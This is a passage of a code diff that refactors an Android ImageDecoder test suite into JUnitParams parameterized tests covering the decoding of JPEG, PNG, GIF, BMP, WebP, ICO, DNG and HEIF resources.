import java.io.File;
+import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
@@ -71,11 +70,11 @@
import java.util.function.Supplier;
import java.util.function.ToIntFunction;
-@RunWith(AndroidJUnit4.class)
-public class ImageDecoderTest {
- private Resources mRes;
- private ContentResolver mContentResolver;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+@RunWith(JUnitParamsRunner.class)
+public class ImageDecoderTest {
private static final class Record {
public final int resId;
public final int width;
@@ -94,28 +93,30 @@
private static final ColorSpace sSRGB = ColorSpace.get(ColorSpace.Named.SRGB);
- private static final Record[] RECORDS = new Record[] {
- new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", sSRGB),
- new Record(R.drawable.png_test, 640, 480, "image/png", sSRGB),
- new Record(R.drawable.gif_test, 320, 240, "image/gif", sSRGB),
- new Record(R.drawable.bmp_test, 320, 240, "image/bmp", sSRGB),
- new Record(R.drawable.webp_test, 640, 480, "image/webp", sSRGB),
- new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", sSRGB),
- new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", sSRGB),
- new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", sSRGB),
- new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", sSRGB),
- };
+ private Object[] getRecords() {
+ return new Record[] {
+ new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", sSRGB),
+ new Record(R.drawable.png_test, 640, 480, "image/png", sSRGB),
+ new Record(R.drawable.gif_test, 320, 240, "image/gif", sSRGB),
+ new Record(R.drawable.bmp_test, 320, 240, "image/bmp", sSRGB),
+ new Record(R.drawable.webp_test, 640, 480, "image/webp", sSRGB),
+ new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", sSRGB),
+ new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", sSRGB),
+ new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", sSRGB),
+ new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", sSRGB),
+ };
+ }
// offset is how many bytes to offset the beginning of the image.
// extra is how many bytes to append at the end.
- private byte[] getAsByteArray(int resId, int offset, int extra) {
+ private static byte[] getAsByteArray(int resId, int offset, int extra) {
ByteArrayOutputStream output = new ByteArrayOutputStream();
writeToStream(output, resId, offset, extra);
return output.toByteArray();
}
- private void writeToStream(OutputStream output, int resId, int offset, int extra) {
- InputStream input = mRes.openRawResource(resId);
+ private static void writeToStream(OutputStream output, int resId, int offset, int extra) {
+ InputStream input = getResources().openRawResource(resId);
byte[] buffer = new byte[4096];
int bytesRead;
try {
@@ -137,7 +138,7 @@
}
}
- private byte[] getAsByteArray(int resId) {
+ static byte[] getAsByteArray(int resId) {
return getAsByteArray(resId, 0, 0);
}
@@ -194,11 +195,12 @@
}
private Uri getAsResourceUri(int resId) {
+ Resources res = getResources();
return new Uri.Builder()
.scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
- .authority(mRes.getResourcePackageName(resId))
- .appendPath(mRes.getResourceTypeName(resId))
- .appendPath(mRes.getResourceEntryName(resId))
+ .authority(res.getResourcePackageName(resId))
+ .appendPath(res.getResourceTypeName(resId))
+ .appendPath(res.getResourceEntryName(resId))
.build();
}
@@ -229,102 +231,105 @@
};
@Test
- public void testUris() {
- for (Record record : RECORDS) {
- int resId = record.resId;
- String name = mRes.getResourceEntryName(resId);
- for (UriCreator f : mUriCreators) {
- ImageDecoder.Source src = null;
- Uri uri = f.apply(resId);
- String fullName = name + ": " + uri.toString();
- src = ImageDecoder.createSource(mContentResolver, uri);
+ @Parameters(method = "getRecords")
+ public void testUris(Record record) {
+ int resId = record.resId;
+ String name = getResources().getResourceEntryName(resId);
+ for (UriCreator f : mUriCreators) {
+ ImageDecoder.Source src = null;
+ Uri uri = f.apply(resId);
+ String fullName = name + ": " + uri.toString();
+ src = ImageDecoder.createSource(getContentResolver(), uri);
- assertNotNull("failed to create Source for " + fullName, src);
- try {
- Drawable d = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setOnPartialImageListener((e) -> {
- fail("error for image " + fullName + ":\n" + e);
- return false;
- });
+ assertNotNull("failed to create Source for " + fullName, src);
+ try {
+ Drawable d = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ decoder.setOnPartialImageListener((e) -> {
+ fail("error for image " + fullName + ":\n" + e);
+ return false;
});
- assertNotNull("failed to create drawable for " + fullName, d);
- } catch (IOException e) {
- fail("exception for image " + fullName + ":\n" + e);
- }
+ });
+ assertNotNull("failed to create drawable for " + fullName, d);
+ } catch (IOException e) {
+ fail("exception for image " + fullName + ":\n" + e);
}
}
}
- @Before
- public void setup() {
- mRes = InstrumentationRegistry.getTargetContext().getResources();
- mContentResolver = InstrumentationRegistry.getTargetContext().getContentResolver();
+ private static Resources getResources() {
+ return InstrumentationRegistry.getTargetContext().getResources();
+ }
+
+ private ContentResolver getContentResolver() {
+ return InstrumentationRegistry.getTargetContext().getContentResolver();
}
@Test
- public void testInfo() {
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- ImageDecoder.Source src = f.apply(record.resId);
- assertNotNull(src);
- try {
- ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- assertEquals(record.width, info.getSize().getWidth());
- assertEquals(record.height, info.getSize().getHeight());
- assertEquals(record.mimeType, info.getMimeType());
- assertSame(record.colorSpace, info.getColorSpace());
- });
- } catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
- }
+ @Parameters(method = "getRecords")
+ public void testInfo(Record record) {
+ for (SourceCreator f : mCreators) {
+ ImageDecoder.Source src = f.apply(record.resId);
+ assertNotNull(src);
+ try {
+ ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ assertEquals(record.width, info.getSize().getWidth());
+ assertEquals(record.height, info.getSize().getHeight());
+ assertEquals(record.mimeType, info.getMimeType());
+ assertSame(record.colorSpace, info.getColorSpace());
+ });
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
}
}
}
@Test
- public void testDecodeDrawable() {
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- ImageDecoder.Source src = f.apply(record.resId);
- assertNotNull(src);
+ @Parameters(method = "getRecords")
+ public void testDecodeDrawable(Record record) {
+ for (SourceCreator f : mCreators) {
+ ImageDecoder.Source src = f.apply(record.resId);
+ assertNotNull(src);
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src);
- assertNotNull(drawable);
- assertEquals(record.width, drawable.getIntrinsicWidth());
- assertEquals(record.height, drawable.getIntrinsicHeight());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
+ try {
+ Drawable drawable = ImageDecoder.decodeDrawable(src);
+ assertNotNull(drawable);
+ assertEquals(record.width, drawable.getIntrinsicWidth());
+ assertEquals(record.height, drawable.getIntrinsicHeight());
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
}
}
}
@Test
- public void testDecodeBitmap() {
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- ImageDecoder.Source src = f.apply(record.resId);
- assertNotNull(src);
+ @Parameters(method = "getRecords")
+ public void testDecodeBitmap(Record record) {
+ for (SourceCreator f : mCreators) {
+ ImageDecoder.Source src = f.apply(record.resId);
+ assertNotNull(src);
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src);
- assertNotNull(bm);
- assertEquals(record.width, bm.getWidth());
- assertEquals(record.height, bm.getHeight());
- assertFalse(bm.isMutable());
- // FIXME: This may change for small resources, etc.
- assertEquals(Bitmap.Config.HARDWARE, bm.getConfig());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src);
+ assertNotNull(bm);
+ assertEquals(record.width, bm.getWidth());
+ assertEquals(record.height, bm.getHeight());
+ assertFalse(bm.isMutable());
+ // FIXME: This may change for small resources, etc.
+ assertEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
}
}
}
+ // Return a single Record for simple tests.
+ private Record getRecord() {
+ return ((Record[]) getRecords())[0];
+ }
+
@Test(expected = IllegalArgumentException.class)
public void testSetBogusAllocator() {
- ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+ ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
try {
ImageDecoder.decodeBitmap(src, (decoder, info, s) -> decoder.setAllocator(15));
} catch (IOException e) {
@@ -341,7 +346,7 @@
@Test
public void testGetAllocator() {
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -357,7 +362,8 @@
}
@Test
- public void testSetAllocatorDecodeBitmap() {
+ @Parameters(method = "getRecords")
+ public void testSetAllocatorDecodeBitmap(Record record) {
class Listener implements ImageDecoder.OnHeaderDecodedListener {
public int allocator;
public boolean doCrop;
@@ -378,48 +384,47 @@
Listener l = new Listener();
boolean trueFalse[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (int allocator : ALLOCATORS) {
- for (boolean doCrop : trueFalse) {
- for (boolean doScale : trueFalse) {
- l.doCrop = doCrop;
- l.doScale = doScale;
- l.allocator = allocator;
- ImageDecoder.Source src = f.apply(record.resId);
- assertNotNull(src);
+ Resources res = getResources();
+ ImageDecoder.Source src = ImageDecoder.createSource(res, record.resId);
+ assertNotNull(src);
+ for (int allocator : ALLOCATORS) {
+ for (boolean doCrop : trueFalse) {
+ for (boolean doScale : trueFalse) {
+ l.doCrop = doCrop;
+ l.doScale = doScale;
+ l.allocator = allocator;
- Bitmap bm = null;
- try {
- bm = ImageDecoder.decodeBitmap(src, l);
- } catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) +
- " with exception " + e);
+ Bitmap bm = null;
+ try {
+ bm = ImageDecoder.decodeBitmap(src, l);
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId)
+ + " with exception " + e);
+ }
+ assertNotNull(bm);
+
+ switch (allocator) {
+ case ImageDecoder.ALLOCATOR_SOFTWARE:
+ // TODO: Once Bitmap provides access to its
+ // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
+ // worked.
+ case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
+ assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+
+ if (!doScale && !doCrop) {
+ BitmapFactory.Options options = new BitmapFactory.Options();
+ options.inScaled = false;
+ Bitmap reference = BitmapFactory.decodeResource(res,
+ record.resId, options);
+ assertNotNull(reference);
+ assertTrue(BitmapUtils.compareBitmaps(bm, reference));
}
- assertNotNull(bm);
-
- switch (allocator) {
- case ImageDecoder.ALLOCATOR_SOFTWARE:
- // TODO: Once Bitmap provides access to its
- // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
- // worked.
- case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
- assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
-
- if (!doScale && !doCrop) {
- Bitmap reference = BitmapFactory.decodeResource(mRes,
- record.resId, null);
- assertNotNull(reference);
- BitmapUtils.compareBitmaps(bm, reference);
- }
- break;
- default:
- String name = getAsResourceUri(record.resId).toString();
- assertEquals("image " + name + "; allocator: " + allocator,
- Bitmap.Config.HARDWARE, bm.getConfig());
- break;
- }
- }
+ break;
+ default:
+ String name = getAsResourceUri(record.resId).toString();
+ assertEquals("image " + name + "; allocator: " + allocator,
+ Bitmap.Config.HARDWARE, bm.getConfig());
+ break;
}
}
}
@@ -428,7 +433,7 @@
@Test
public void testGetUnpremul() {
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
@@ -484,7 +489,7 @@
(canvas) -> PixelFormat.UNKNOWN,
null,
};
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -501,7 +506,8 @@
}
@Test
- public void testPostProcessor() {
+ @Parameters(method = "getRecords")
+ public void testPostProcessor(Record record) {
class Listener implements ImageDecoder.OnHeaderDecodedListener {
public boolean requireSoftware;
@Override
@@ -518,44 +524,41 @@
};
Listener l = new Listener();
boolean trueFalse[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (boolean requireSoftware : trueFalse) {
- l.requireSoftware = requireSoftware;
- ImageDecoder.Source src = f.apply(record.resId);
- assertNotNull(src);
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+ assertNotNull(src);
+ for (boolean requireSoftware : trueFalse) {
+ l.requireSoftware = requireSoftware;
- Bitmap bitmap = null;
- try {
- bitmap = ImageDecoder.decodeBitmap(src, l);
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- assertNotNull(bitmap);
- assertFalse(bitmap.isMutable());
- if (requireSoftware) {
- assertNotEquals(Bitmap.Config.HARDWARE, bitmap.getConfig());
- for (int x = 0; x < bitmap.getWidth(); ++x) {
- for (int y = 0; y < bitmap.getHeight(); ++y) {
- int color = bitmap.getPixel(x, y);
- assertEquals("pixel at (" + x + ", " + y + ") does not match!",
- color, Color.BLACK);
- }
- }
- } else {
- assertEquals(bitmap.getConfig(), Bitmap.Config.HARDWARE);
+ Bitmap bitmap = null;
+ try {
+ bitmap = ImageDecoder.decodeBitmap(src, l);
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
+ assertNotNull(bitmap);
+ assertFalse(bitmap.isMutable());
+ if (requireSoftware) {
+ assertNotEquals(Bitmap.Config.HARDWARE, bitmap.getConfig());
+ for (int x = 0; x < bitmap.getWidth(); ++x) {
+ for (int y = 0; y < bitmap.getHeight(); ++y) {
+ int color = bitmap.getPixel(x, y);
+ assertEquals("pixel at (" + x + ", " + y + ") does not match!",
+ color, Color.BLACK);
}
}
+ } else {
+ assertEquals(bitmap.getConfig(), Bitmap.Config.HARDWARE);
}
}
}
@Test
public void testNinepatchWithDensityNone() {
+ Resources res = getResources();
TypedValue value = new TypedValue();
- InputStream is = mRes.openRawResource(R.drawable.ninepatch_nodpi, value);
+ InputStream is = res.openRawResource(R.drawable.ninepatch_nodpi, value);
// This does not call ImageDecoder directly because this entry point is not public.
- Drawable dr = Drawable.createFromResourceStream(mRes, value, is, null, null);
+ Drawable dr = Drawable.createFromResourceStream(res, value, is, null, null);
assertNotNull(dr);
assertEquals(5, dr.getIntrinsicWidth());
assertEquals(5, dr.getIntrinsicHeight());
@@ -632,7 +635,8 @@
}
@Test
- public void testPostProcessorAndAddedTransparency() {
+ @Parameters(method = "getRecords")
+ public void testPostProcessorAndAddedTransparency(Record record) {
class Listener implements ImageDecoder.OnHeaderDecodedListener {
public boolean requireSoftware;
@Override
@@ -646,18 +650,16 @@
};
Listener l = new Listener();
boolean trueFalse[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (boolean requireSoftware : trueFalse) {
- l.requireSoftware = requireSoftware;
- ImageDecoder.Source src = f.apply(record.resId);
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src, l);
- assertTrue(bm.hasAlpha());
- assertTrue(bm.isPremultiplied());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
+ for (SourceCreator f : mCreators) {
+ for (boolean requireSoftware : trueFalse) {
+ l.requireSoftware = requireSoftware;
+ ImageDecoder.Source src = f.apply(record.resId);
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+ assertTrue(bm.hasAlpha());
+ assertTrue(bm.isPremultiplied());
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
}
}
}
@@ -677,7 +679,7 @@
@Test(expected = IllegalArgumentException.class)
public void testPostProcessorInvalidReturn() {
- ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+ ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setPostProcessor((c) -> 42);
@@ -689,7 +691,7 @@
@Test(expected = IllegalStateException.class)
public void testPostProcessorAndUnpremul() {
- ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+ ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setUnpremultipliedRequired(true);
@@ -701,7 +703,8 @@
}
@Test
- public void testPostProcessorAndScale() {
+ @Parameters(method = "getRecords")
+ public void testPostProcessorAndScale(Record record) {
class PostProcessorWithSize implements PostProcessor {
public int width;
public int height;
@@ -713,21 +716,19 @@
};
};
final PostProcessorWithSize pp = new PostProcessorWithSize();
- for (Record record : RECORDS) {
- pp.width = record.width / 2;
- pp.height = record.height / 2;
- for (SourceCreator f : mCreators) {
- ImageDecoder.Source src = f.apply(record.resId);
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setTargetSize(pp.width, pp.height);
- decoder.setPostProcessor(pp);
- });
- assertEquals(pp.width, drawable.getIntrinsicWidth());
- assertEquals(pp.height, drawable.getIntrinsicHeight());
- } catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
- }
+ pp.width = record.width / 2;
+ pp.height = record.height / 2;
+ for (SourceCreator f : mCreators) {
+ ImageDecoder.Source src = f.apply(record.resId);
+ try {
+ Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ decoder.setTargetSize(pp.width, pp.height);
+ decoder.setPostProcessor(pp);
+ });
+ assertEquals(pp.width, drawable.getIntrinsicWidth());
+ assertEquals(pp.height, drawable.getIntrinsicHeight());
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
}
}
}
@@ -748,21 +749,20 @@
}
@Test
- public void testSampleSize() {
- for (Record record : RECORDS) {
- final String name = getAsResourceUri(record.resId).toString();
- for (int sampleSize : new int[] { 2, 3, 4, 8, 32 }) {
- ImageDecoder.Source src = mCreators[0].apply(record.resId);
- try {
- Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setTargetSampleSize(sampleSize);
- });
+ @Parameters(method = "getRecords")
+ public void testSampleSize(Record record) {
+ final String name = getAsResourceUri(record.resId).toString();
+ for (int sampleSize : new int[] { 2, 3, 4, 8, 32 }) {
+ ImageDecoder.Source src = mCreators[0].apply(record.resId);
+ try {
+ Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ decoder.setTargetSampleSize(sampleSize);
+ });
- checkSampleSize(name, record.width, sampleSize, dr.getIntrinsicWidth());
- checkSampleSize(name, record.height, sampleSize, dr.getIntrinsicHeight());
- } catch (IOException e) {
- fail("Failed " + name + " with exception " + e);
- }
+ checkSampleSize(name, record.width, sampleSize, dr.getIntrinsicWidth());
+ checkSampleSize(name, record.height, sampleSize, dr.getIntrinsicHeight());
+ } catch (IOException e) {
+ fail("Failed " + name + " with exception " + e);
}
}
}
@@ -770,25 +770,23 @@
private interface SampleSizeSupplier extends ToIntFunction<Size> {};
@Test
- public void testLargeSampleSize() {
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (SampleSizeSupplier supplySampleSize : new SampleSizeSupplier[] {
- (size) -> size.getWidth(),
- (size) -> size.getWidth() + 5,
- (size) -> size.getWidth() * 5,
- }) {
- ImageDecoder.Source src = f.apply(record.resId);
- try {
- Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- int sampleSize = supplySampleSize.applyAsInt(info.getSize());
- decoder.setTargetSampleSize(sampleSize);
- });
- assertEquals(1, dr.getIntrinsicWidth());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
+ @Parameters(method = "getRecords")
+ public void testLargeSampleSize(Record record) {
+ ImageDecoder.Source src = mCreators[0].apply(record.resId);
+ for (SampleSizeSupplier supplySampleSize : new SampleSizeSupplier[] {
+ (size) -> size.getWidth(),
+ (size) -> size.getWidth() + 5,
+ (size) -> size.getWidth() * 5,
+ }) {
+ try {
+ Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ int sampleSize = supplySampleSize.applyAsInt(info.getSize());
+ decoder.setTargetSampleSize(sampleSize);
+ });
+ assertEquals(1, dr.getIntrinsicWidth());
+ } catch (Exception e) {
+ String file = getAsResourceUri(record.resId).toString();
+ fail("Failed to decode " + file + " with exception " + e);
}
}
}
@@ -851,7 +849,7 @@
null,
};
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -897,7 +895,7 @@
int mPosition;
ExceptionStream(int resId, int exceptionPosition) {
- mInputStream = mRes.openRawResource(resId);
+ mInputStream = getResources().openRawResource(resId);
mExceptionPosition = exceptionPosition;
mPosition = 0;
}
@@ -930,7 +928,8 @@
@Test
public void testExceptionInStream() throws Throwable {
InputStream is = new ExceptionStream(R.drawable.animated, 27570);
- ImageDecoder.Source src = ImageDecoder.createSource(mRes, is, Bitmap.DENSITY_NONE);
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), is,
+ Bitmap.DENSITY_NONE);
Drawable dr = null;
try {
dr = ImageDecoder.decodeDrawable(src);
@@ -947,7 +946,8 @@
}
@Test
- public void testOnPartialImage() {
+ @Parameters(method = "getRecords")
+ public void testOnPartialImage(Record record) {
class PartialImageCallback implements OnPartialImageListener {
public boolean wasCalled;
public boolean returnDrawable;
@@ -962,46 +962,44 @@
};
final PartialImageCallback callback = new PartialImageCallback();
boolean abortDecode[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- byte[] bytes = getAsByteArray(record.resId);
- int truncatedLength = bytes.length / 2;
- if (record.mimeType.equals("image/x-ico")
- || record.mimeType.equals("image/x-adobe-dng")
- || record.mimeType.equals("image/heif")) {
- // FIXME (scroggo): Some codecs currently do not support incomplete images.
- continue;
- }
- for (boolean abort : abortDecode) {
- ImageDecoder.Source src = ImageDecoder.createSource(
- ByteBuffer.wrap(bytes, 0, truncatedLength));
- callback.wasCalled = false;
- callback.returnDrawable = !abort;
- callback.source = src;
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
- decoder.setOnPartialImageListener(callback);
- });
- assertFalse(abort);
- assertNotNull(drawable);
- assertEquals(record.width, drawable.getIntrinsicWidth());
- assertEquals(record.height, drawable.getIntrinsicHeight());
- } catch (IOException e) {
- assertTrue(abort);
- }
- assertTrue(callback.wasCalled);
- }
-
- // null listener behaves as if onPartialImage returned false.
+ byte[] bytes = getAsByteArray(record.resId);
+ int truncatedLength = bytes.length / 2;
+ if (record.mimeType.equals("image/x-ico")
+ || record.mimeType.equals("image/x-adobe-dng")
+ || record.mimeType.equals("image/heif")) {
+ // FIXME (scroggo): Some codecs currently do not support incomplete images.
+ return;
+ }
+ for (boolean abort : abortDecode) {
ImageDecoder.Source src = ImageDecoder.createSource(
ByteBuffer.wrap(bytes, 0, truncatedLength));
+ callback.wasCalled = false;
+ callback.returnDrawable = !abort;
+ callback.source = src;
try {
- ImageDecoder.decodeDrawable(src);
- fail("Should have thrown an exception!");
- } catch (DecodeException incomplete) {
- // This is the correct behavior.
+ Drawable drawable = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+ decoder.setOnPartialImageListener(callback);
+ });
+ assertFalse(abort);
+ assertNotNull(drawable);
+ assertEquals(record.width, drawable.getIntrinsicWidth());
+ assertEquals(record.height, drawable.getIntrinsicHeight());
} catch (IOException e) {
- fail("Failed with exception " + e);
+ assertTrue(abort);
}
+ assertTrue(callback.wasCalled);
+ }
+
+ // null listener behaves as if onPartialImage returned false.
+ ImageDecoder.Source src = ImageDecoder.createSource(
+ ByteBuffer.wrap(bytes, 0, truncatedLength));
+ try {
+ ImageDecoder.decodeDrawable(src);
+ fail("Should have thrown an exception!");
+ } catch (DecodeException incomplete) {
+ // This is the correct behavior.
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
}
}
@@ -1061,7 +1059,7 @@
@Test
public void testGetMutable() {
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1079,7 +1077,8 @@
}
@Test
- public void testMutable() {
+ @Parameters(method = "getRecords")
+ public void testMutable(Record record) {
int allocators[] = new int[] { ImageDecoder.ALLOCATOR_DEFAULT,
ImageDecoder.ALLOCATOR_SOFTWARE,
ImageDecoder.ALLOCATOR_SHARED_MEMORY };
@@ -1099,22 +1098,19 @@
};
HeaderListener l = new HeaderListener();
boolean trueFalse[] = new boolean[] { true, false };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (boolean postProcess : trueFalse) {
- for (int allocator : allocators) {
- l.allocator = allocator;
- l.postProcess = postProcess;
+ ImageDecoder.Source src = mCreators[0].apply(record.resId);
+ for (boolean postProcess : trueFalse) {
+ for (int allocator : allocators) {
+ l.allocator = allocator;
+ l.postProcess = postProcess;
- ImageDecoder.Source src = f.apply(record.resId);
- try {
- Bitmap bm = ImageDecoder.decodeBitmap(src, l);
- assertTrue(bm.isMutable());
- assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
- }
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+ assertTrue(bm.isMutable());
+ assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+ } catch (Exception e) {
+ String file = getAsResourceUri(record.resId).toString();
+ fail("Failed to decode " + file + " with exception " + e);
}
}
}
@@ -1122,7 +1118,7 @@
@Test(expected = IllegalStateException.class)
public void testMutableHardware() {
- ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+ ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
try {
ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
decoder.setMutableRequired(true);
@@ -1135,7 +1131,7 @@
@Test(expected = IllegalStateException.class)
public void testMutableDrawable() {
- ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
+ ImageDecoder.Source src = mCreators[0].apply(getRecord().resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
decoder.setMutableRequired(true);
@@ -1205,7 +1201,8 @@
}
@Test
- public void testTargetSize() {
+ @Parameters(method = "getRecords")
+ public void testTargetSize(Record record) {
class ResizeListener implements ImageDecoder.OnHeaderDecodedListener {
public int width;
public int height;
@@ -1218,49 +1215,41 @@
ResizeListener l = new ResizeListener();
float[] scales = new float[] { .0625f, .125f, .25f, .5f, .75f, 1.1f, 2.0f };
- for (Record record : RECORDS) {
- for (SourceCreator f : mCreators) {
- for (int j = 0; j < scales.length; ++j) {
- l.width = (int) (scales[j] * record.width);
- l.height = (int) (scales[j] * record.height);
+ ImageDecoder.Source src = mCreators[0].apply(record.resId);
+ for (int j = 0; j < scales.length; ++j) {
+ l.width = (int) (scales[j] * record.width);
+ l.height = (int) (scales[j] * record.height);
- ImageDecoder.Source src = f.apply(record.resId);
+ try {
+ Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+ assertEquals(l.width, drawable.getIntrinsicWidth());
+ assertEquals(l.height, drawable.getIntrinsicHeight());
- try {
- Drawable drawable = ImageDecoder.decodeDrawable(src, l);
- assertEquals(l.width, drawable.getIntrinsicWidth());
- assertEquals(l.height, drawable.getIntrinsicHeight());
-
- src = f.apply(record.resId);
- Bitmap bm = ImageDecoder.decodeBitmap(src, l);
- assertEquals(l.width, bm.getWidth());
- assertEquals(l.height, bm.getHeight());
- } catch (IOException e) {
- fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
- }
- }
-
- try {
- // Arbitrary square.
- l.width = 50;
- l.height = 50;
- ImageDecoder.Source src = f.apply(record.resId);
- Drawable drawable = ImageDecoder.decodeDrawable(src, l);
- assertEquals(50, drawable.getIntrinsicWidth());
- assertEquals(50, drawable.getIntrinsicHeight());
-
- // Swap width and height, for different scales.
- l.height = record.width;
- l.width = record.height;
- src = f.apply(record.resId);
- drawable = ImageDecoder.decodeDrawable(src, l);
- assertEquals(record.height, drawable.getIntrinsicWidth());
- assertEquals(record.width, drawable.getIntrinsicHeight());
- } catch (IOException e) {
- fail("Failed with exception " + e);
- }
+ Bitmap bm = ImageDecoder.decodeBitmap(src, l);
+ assertEquals(l.width, bm.getWidth());
+ assertEquals(l.height, bm.getHeight());
+ } catch (IOException e) {
+ fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
}
}
+
+ try {
+ // Arbitrary square.
+ l.width = 50;
+ l.height = 50;
+ Drawable drawable = ImageDecoder.decodeDrawable(src, l);
+ assertEquals(50, drawable.getIntrinsicWidth());
+ assertEquals(50, drawable.getIntrinsicHeight());
+
+ // Swap width and height, for different scales.
+ l.height = record.width;
+ l.width = record.height;
+ drawable = ImageDecoder.decodeDrawable(src, l);
+ assertEquals(record.height, drawable.getIntrinsicWidth());
+ assertEquals(record.width, drawable.getIntrinsicHeight());
+ } catch (IOException e) {
+ fail("Failed with exception " + e);
+ }
}
@Test
@@ -1332,7 +1321,7 @@
@Test
public void testGetCrop() {
- final int resId = RECORDS[0].resId;
+ final int resId = getRecord().resId;
ImageDecoder.Source src = mCreators[0].apply(resId);
try {
ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
@@ -1352,7 +1341,8 @@
}
@Test
